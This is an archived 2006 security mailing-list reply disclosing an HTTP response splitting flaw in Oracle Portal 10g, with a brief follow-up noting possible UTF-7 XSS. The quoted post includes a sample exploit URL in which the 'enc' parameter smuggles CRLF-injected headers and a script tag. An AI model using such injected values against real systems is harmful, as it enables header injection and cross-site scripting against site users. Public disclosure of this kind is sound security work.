lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Fri, 22 Dec 2006 08:26:12 +0000 From: "putosoft softputo" <hasecorp@...mail.com> To: eaton.lists@...il.com Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk Subject: Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting >From: "Brian Eaton" <eaton.lists@...il.com> >To: "putosoft softputo" <hasecorp@...mail.com> >CC: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk >Subject: Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting >Date: Wed, 20 Dec 2006 13:55:09 -0500 > >On 12/20/06, putosoft softputo <hasecorp@...mail.com> wrote: >>Oracle Portal/Applications HTTP Response Splitting >>-------------------------------------------------- >> >>Sample: >> >>http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E > >So they let the URL specify the content-encoding? They might be >vulnerable to XSS via UTF-7 as well. > >Regards, >Brian Yeah, it is. _________________________________________________________________ Moda para esta temporada. Ponte al día de todas las tendencias. http://www.msn.es/Mujer/moda/default.asp
Powered by blists - more mailing lists